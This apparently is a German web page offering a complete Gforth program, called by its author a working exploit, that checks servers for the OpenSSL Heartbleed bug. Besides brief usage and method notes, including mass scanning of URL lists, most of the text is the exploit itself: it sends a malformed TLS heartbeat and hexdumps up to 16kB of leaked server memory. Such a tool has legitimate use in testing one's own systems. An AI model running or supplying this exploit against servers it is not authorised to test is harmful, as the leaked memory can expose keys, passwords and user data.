Heartbleed Check
Im OpenSSL von Version 1.0.1 bis 1.0.1f (ohne g) war eine ernste Lücke, die hier mit einem kurzen Programm demonstiert wird (das ist ein funktionierender Exploit!). Verwenden mit einem neueren Gforth (snapshot), und dann mit
gforth heartbleed.fs <host> [<port>]
starten. Wenn ein länglicher Hexdump kommt, ist das die Heartbleed-Antwort. Wenn man viele URLs hat, kann man die entweder per Shell-Script abarbeiten
cat <file> | xargs -L 1 gforth heartbleed.fs
oder Gforth starten und dann
require heartbleed.fs s" <file>" file-heartbleed
Was der Code macht, ist schnell erklärt: Er schickt zuerst ein „Client Hello“ an den Server, welcher daraufhin seine Zertifikate zurückschickt. Die werfe ich weg, denn ich will ja gar keine Verbindung aufbauen. Dann schicke ich einen Heartbeat ohne Payload und Padding, aber mit einer sehr langen Payload-Länge. Die erwarte ich dann als Antwort zurück; wenn ich sie bekomme, ist der Heartbleed-Bug vorhanden. Andere Antworten (etwa „Alert“), die TLS als Fehler schicken darf, werden ignoriert.
\ heartbleed check 11apr2014py require unix/socket.fs Create TLS-header $16 c, $03 c, $02 c, $00 c, $31 c, \ TLS Header $01 c, $00 c, $00 c, $2d c, \ Handshake header $03 c, $02 c, \ ClientHello field: version number (TLS 1.1) here 32 allot \ ClientHello field: random $00 c, \ ClientHello field: session id $00 c, $04 c, \ ClientHello field: cipher suite length $00 c, $33 c, $c0 c, $11 c, \ ClientHello field: cipher suite(s) $01 c, \ ClientHello field: compression support, length $00 c, \ ClientHello field: compression support, no compression (0) $00 c, $00 c, \ ClientHello field: extension length (0) here TLS-header - Constant header# Constant random32 Create TLS-heartbleed $18 c, $03 c, $02 c, $00 c, $03 c, \ TLS header $01 c, $40 c, $00 c, \ heartbleed request, 16kB (maximum for OpenSSL) here TLS-heartbleed - Constant heartbleed# : >random ( -- ) utime $1000000 um/mod nip random32 be-l! s" /dev/urandom" r/o open-file throw >r random32 4 + 28 r@ read-file throw drop r> close-file throw ; Variable buggy? : get-heartbleed ( addr u port -- ) >r 2dup r> buggy? off 1000000 set-socket-timeout >random open-socket >r TLS-header header# r@ write-socket BEGIN r@ pad $10000 read-socket nip 0= UNTIL TLS-heartbleed heartbleed# r@ write-socket BEGIN r@ pad $10000 read-socket over c@ $18 = buggy? @ or \ heartbeet reply over 0<> and WHILE dump buggy? on REPEAT 2drop r> close-socket type buggy? @ IF ." : Heartbleed detected" ELSE ." : Everything ok" THEN cr ; Variable files : file-heartbleed ( addr u -- ) r/w open-file throw files $[]slurp files [: 443 get-heartbleed ;] $[]map ; script? [IF] : ?nextarg ( -- addr u noarg-flag ) argc @ 1 > IF next-arg true ELSE false THEN ; ?nextarg drop ?nextarg [IF] s>number drop [ELSE] 443 [THEN] get-heartbleed bye [THEN]